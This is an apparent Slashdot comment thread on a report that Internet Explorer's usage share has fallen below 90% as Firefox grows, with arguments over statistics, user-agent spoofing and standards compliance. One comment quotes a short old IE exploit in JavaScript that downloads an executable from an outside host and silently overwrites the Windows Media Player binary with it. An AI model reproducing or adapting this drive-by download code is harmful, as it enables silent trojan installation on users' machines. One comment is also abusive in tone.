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Internet Explorer's Share Dips Below 90%

sheepoo writes "CNN has a story stating that, according to a WebSideStory report, Internet Explorer has slipped below 90% usage share for the first time." From the article: "Firefox, an open-source browser collectively developed by the Internet community under the Mozilla Foundation, had a 6.8 percent share as of April 29, an increase from 3.0 percent since WebSideStory began tracking Firefox separately in October."

21 of 463 comments (clear)

  1. Re:Tell me when by antifoidulus · · Score: 1, Informative

    Decrease in growth RATE != decrease in growth.....

  2. Hmmm.... by RancidMilk · · Score: 2, Informative

    Reminds me alot of this article on /. talking about IE being below 90% 2 months ago. http://slashdot.org/article.pl?sid=05/03/19/053720 5&tid=154&tid=1 "The only war the French have ever won was their revolutionary war... sad that it means that they also lost that one..."

  3. Re:Well it seems like a Troll.. by TheCeltic · · Score: 2, Informative

    LOL.. is this a troll? I'll bite. Let's see.. FireFox has had a few bad security flaws recently (most had patches release the SAME DAY), is not integrated with the OS (this is a GOOD thing from a security standpoint) and offers MUCH greater functionality (www.mozdev.org). IE offers LESS functionality, is like swiss cheese when it comes to vulnerabilities and you have to wait until Microsoft decides to release a patch once a hole is discoverd. Of course IE is "compatible" with more sites (as long as you don't consider RFC compliance or if the site adheres to any internet standards).

    --
    =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
  4. Re:Where's safari? by Anonymous Coward · · Score: 2, Informative

    Safari's no Mozilla-based, it's KHTML-based.

  5. Shoestring? Not quite by sjbe · · Score: 5, Informative

    Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget.

    "Ultra shoestring budget"? Relative to Microsoft sure, but the vast majority of Mozilla development occured with the direct financial support of AOL, Sun and what was left of Netscape after the buyout with numerous other companies contributing. The Mozilla foundation was given millions of dollars to get started. While none of that in any way detracts from how impressive their accomplishment is, I would hardly describe them as working on "an ultra, ultra, ultra shoestring budget."

  6. Re:Who measures and how measures? by bunratty · · Score: 5, Informative
    What does 90% market share really mean? I use both IE and Firefox on the same machine. Do they both get counted?
    It's not 90% market share. It's 90% usage share. If you use IE half the time and Firefox half the time, they are both counted equally. If you have IE installed and never use it, it's not counted.
    --
    What a fool believes, he sees, no wise man has the power to reason away.
  7. For the first time? by JudgeFurious · · Score: 2, Informative


    It had less than 90% long ago, in the before time...

    --
    Appended to the end of comments you post. 120 chars.
  8. IBM jumping on Firefox by unk1911 · · Score: 3, Informative

    In related news, according to this story, IBM employees (numbering +- 300,000) are urged to switch over to Firefox. That should help the numbers even more

  9. Re:83% use firefox at Networkmirror by winkydink · · Score: 2, Informative

    No.

    The breakdown of the top 15 is:

    1 82.63% Mozilla
    2 14.70% Microsoft Internet Explorer
    3 0.46% Opera/8.0 (Windows NT 5.1; U; en)
    4 0.25% msnbot/1.0 (+http://search.msn.com/msnbot.htm)
    5 0.25% Googlebot/2.1 (+http://www.google.com/bot.html)
    6 0.21% Mediapartners-Google/2.1
    7 0.18% Microsoft URL Control - 6.01.9782
    8 0.16% Opera/8.0 (X11; Linux i686; U; en)
    9 0.10% Opera/8.0 (Windows NT 5.0; U; en)
    10 0.07% Opera/7.54 (Windows NT 5.1; U) [en]
    11 0.07% Opera/7.54 (X11; Linux i686; U) [en]
    12 0.02% Avant Browser (http://www.avantbrowser.com/
    13 0.02% Opera/7.20 (Windows NT 5.0; U) [en]
    14 0.02% Googlebot/2.1 (+http://www.googlebot.com/bot.html)
    15 0.02% Links (2.1pre17; Linux 2.6.10-gentoo-r1 i686; x)

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  10. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 1, Informative

    Not so much Firefox, because you have to modify the settings to identify as Internet Explorer, but Opera spoofs IE by default.

  11. Re:Tell me when by geoffspear · · Score: 4, Informative
    Wow, mods. Way to moderate a statement that couldn't possibly be more obviously false as "Informative".

    Yes, a decrease in growth does exactly equal the decrease in the rate of growth. That's what growth means. The rate of increase. The rate of growing.

    Did you mean to say that a decrease in growth isn't the same thing as a decrease in the number of users? That's true, and maybe not as obvious to a lot of people as it should be.

    --
    Don't blame me; I'm never given mod points.
  12. Re:Except... by Anonymous Coward · · Score: 3, Informative

    No it's not, you fucking moron.

    Every time - EVERY TIME - this topic comes up, somebody smug tells us all that it's Slashdot's broken HTML. It's not. It's a bug in Firefox.

    I've tried posting links to the bug report on Bugzilla. I've tried showing developer comments. I've tried reasoning. I've tried telling them Firefox 1.1 will fix it.

    Every time, somebody replies "yeah, well that may be all true... but it's still Slashdot's fault." What is it with you fucking morons? What will it take for it to sink in that, yes, your precious Firefox has a bug?

    Don't tell me you aren't aware of the truth. Somebody points it out every time it's mentioned - since before Firefox 1.0 was released, and they always get modded up. For some reason some subset of Firefox users are such moronic fanboys that they are unwilling to accept that it could possibly have a bug. And yes, I'm a Firefox user, I just don't like idiocy.

    Try it. Just try it.

  13. Re:Surfing from work by Sxooter · · Score: 3, Informative

    Hell, where I used to work, the Windows sysadmins were the ones who brought the viruses and trojans in while reading their hot mail accounts logged onto the primary domain controllers.

    Tell your windows people to get up to speed!

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    --- It is not the things we do which we regret the most, but the things which we don't do.
  14. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 1, Informative

    Not always. What you say is true for Opera 7.x and below, but Opera 8 changed things.

    From the Opera 8 changelog, at the bottom of the page: http://www.opera.com/windows/changelogs/800/index. dml

    Enabled downloading of the file ua.ini, which specifies how Opera should identify itself to specific Web sites.
    Can be edited manually.
    1 = Identify as Opera
    2 = Identify as Mozilla
    3 = Identify as Internet Explorer
    4 = Identify as Mozilla, hide Opera ID completely
    5 = Identify as Internet Explorer, hide Opera ID completely

  15. Re:Weight Watchers blocks Firefox users by plague3106 · · Score: 3, Informative

    Or when you get their page saying it won't work, just scrool to the bottom and click Home, and it will load just fine..

  16. Re:83% use firefox at Networkmirror by winkydink · · Score: 2, Informative

    Of that 83%, 64.6% contain the word firefox.

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  17. Re:Well it was great while it lasted! by Emetophobe · · Score: 2, Informative

    There's no such thing as 100% "safe", unless you disconnect your network cable and live in a bunker. I think the correct term for Firefox over Internet Explorer would be "safer".

    And yes, I think firefox is safe compared to internet exploiter. I switched originally to Mozilla 1.5 or 1.6 after reading this webpage

    Here's the main chunk of offending exploit code (I'm pretty sure Microsoft finally fixed this after MANY months, since this is an old exploit)

    var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET", "http://adversting.co.uk/a.exe",0);
    x.Send();

    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);

    What does it do? Well it downloads a.exe (a nasty trojan), and replaces windows media player with it (no warning or comfirmation dialog, just auto installs it!). Of course, this only works if your logged in with admin priviledges, and I bet 75% or more windows users are "admin".

    I personally use Windows XP as admin for regular daily use, I know this isn't secure, but I have no choice. Running as admin is the only way 50% or more of my applications and games will run at all. I've run as admin for 2 years now on this computer, and have never got a virus or trojan or worm or anything. I use firefox and this helps, with Internet Explorer, running as admin would be a death trap.

    I've tried to create a limited use account on multiple occasions, set it up to look and feel exactly like my current admin account, and try to do anything productive. It's a pain in the ass to put it lightly. I end up deleting the limited use account after 1 hour and going back to admin only.

  18. Re:BULLSHIT!!! by jayloden · · Score: 2, Informative

    You're both right. Firefox supports html standards (though not the full CSS standard, hence the Acid2 problems). And yes, slashdot is absolute crap, the code is HTML 3.2, and it's totally non-standard. Alistapart.com did a retooling of slashdot to standards compliant XHTML and CSS, and it worked fine.

    Yes, there's a bug...and yes, it's fixed in any of the nightly builds of FF, and will be fixed in FF 1.1

    However, if slashdot was valid XHTML and CSS instead of nested table after nested table with invalid elements, it would go a long way toward preventing the problem. I can't say it would fix it for sure, but the problem certainly wasn't there on the retooling ALA did of /. using the standards.

    So you're both right: it's a bug, but the slashcode html generation is crap, too.

    -Jay

  19. Re:Weight Watchers blocks Firefox users by mysidia · · Score: 2, Informative

    Indeed. Get the User Agent Switcher extension from update.mozilla.org, switch the user agent string to Internet Explorer 6, and the site works fine.

    Apparently their web developers need to learn a thing or two about how to decide if a browser has javascript support or not. Perhaps they never heard of <noscript> ?

  20. Re:BULLSHIT!!! by Anonymous Coward · · Score: 1, Informative

    The Acid test does not test standards

    Let's see what the Acid test has to say about this, shall we?

    Acid2 is a test page, written to help browser vendors ensure proper support for web standards in their products.

    You are wrong, in fact so wrong, you are utterly clueless. It tests support for, among other things CSS. Part of the CSS specification requires user-agents to handle errors in certain ways. Therefore, in order to test CSS conformance, it must include errors in its stylesheet.

    The fact that you can see errors when you validate it is merely evidence that it's testing conformance to part of the CSS specification that handles errors. It tests conformance to the other parts of CSS too.

    In general, when correcting somebody, try to have at least some knowledge of what you are talking about. In this particular case, it's obvious that you've never even seen the test, because it states up-front that it's all about testing standards. That's its very nature. You might as well argue that water isn't wet.

  21. Re:Tell me when by sznupi · · Score: 2, Informative

    Are you interested in local stats? :>

    Poland, 28th April:

    Microsoft IE 83,1%
    Mozilla Firefox 9,6%
    Opera 5,1%
    Mozilla 1.6%

    So it's very probable that by now it has 10%

    --
    One that hath name thou can not otter